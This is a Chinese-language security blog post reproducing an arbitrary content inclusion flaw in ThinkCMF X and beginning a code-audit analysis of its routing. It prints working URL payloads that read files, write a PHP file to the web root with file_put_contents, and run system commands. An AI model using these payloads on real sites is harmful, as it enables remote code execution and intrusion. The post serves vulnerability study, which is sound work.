主页 > 网络知识 > Think CMF X任意内容包含漏洞分析复现

Think CMF X任意内容包含漏洞分析复现

ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建。ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的需求以应用的形式进行扩展。每个应用都能独立的完成自己的任务,也可通过系统调用其他应用进行协同工作。在这种运行机制下,开发商场应用的用户无需关心开发SNS应用时如何工作的,但他们之间又可通过系统本身进行协调,大大的降低了开发成本和沟通成本。

影响版本

ThinkCMF X1.6.0

ThinkCMF X2.1.0

ThinkCMF X2.2.0

ThinkCMF X2.2.1

ThinkCMF X2.2.2

ThinkCMF X2.2.3

复现环境

我这里下载的2.2.0版本,下载地址为:thinkcmfx2.2.0

安装过程就略过了

漏洞复现 0×01

payload: ?a=display&templateFile=README.md

 

Think CMF X任意内容包含漏洞分析复现

 

0×02 payload:?a=fetch&templateFile=public/index&prefix=''&content=file_put_contents('test.php','<?php phpinfo(); ?>')

上述请求发送后,会在thinkcmfx根目录生成test.php,我们访问一下:

 

Think CMF X任意内容包含漏洞分析复现

 

0×03 payload:?a=fetch&content=<?php system('ping xxxxxx');?>

这种方式其实利用和pyload2一样,只不过是直接执行系统命令,我们可以用dnslog的方式检验结果,如下

 

Think CMF X任意内容包含漏洞分析复现

说明命令成功执行

 

漏洞分析

漏洞分析我可能不会把每行代码的意思讲清楚,但是我会分享一些我在分析这个漏洞时使用的一些小方法

审计mvc架构的应用,第一步就是找到入口,然后顺着入口文件,跟着程序逻辑读下去,直到了解程序大体运作流程,知道基本路由规则(mvc架构的审计工作主要是集中在控制器)。前面的审计开始的前置工作我就不细说了,而且在分析一个漏洞的时候这些前置工作也不一定是必须的,如果你在知道一些信息的情况下,例如,你根据漏洞披露的一些信息已经知道哪个文件有问题了,就不需要再去研究路由了,我这次的分析就是在已知一些条件的情况下进行的,所以我就没有仔细去读路由规则,所以,你也可以看到我后面的分析很多都采用的是猜测以及全局搜索这种方式来确定利用点,当然我后面也大概看了下路由,大概跟到App::exec()方法里,就可以看到路由规则了,如下:

 

Think CMF X任意内容包含漏洞分析复现

前面说了那么多废话…..首先我们看下入口文件index.php确定应用目录

 

 

Think CMF X任意内容包含漏洞分析复现

我们到应用目录application里的controller看一下,根据路由或已知信息可以确定index.php的请求会被路由到indexcontroller.class.php的index()方法

 

 

Think CMF X任意内容包含漏洞分析复现

这个方法也没啥,就是调用了个display显示了首页的内容。这些都不是问题的关键,关键的是thinkcmf是给予tinkphp再开发的,他有一些tp的特性,例如可以通过gm参数指定分组控制器方法,这里可以通过a参数直接调用PortalIndexController父类(HomebaseController)中的一些权限为public的方法。我们自己自己在HomebaseController类中创建一个public属性的方法

 

public function test1(){ echo 'hello axin'; die(); }

然后访问?a=test1,结果如下

说点什么吧
  • 全部评论(0
    还没有评论,快来抢沙发吧!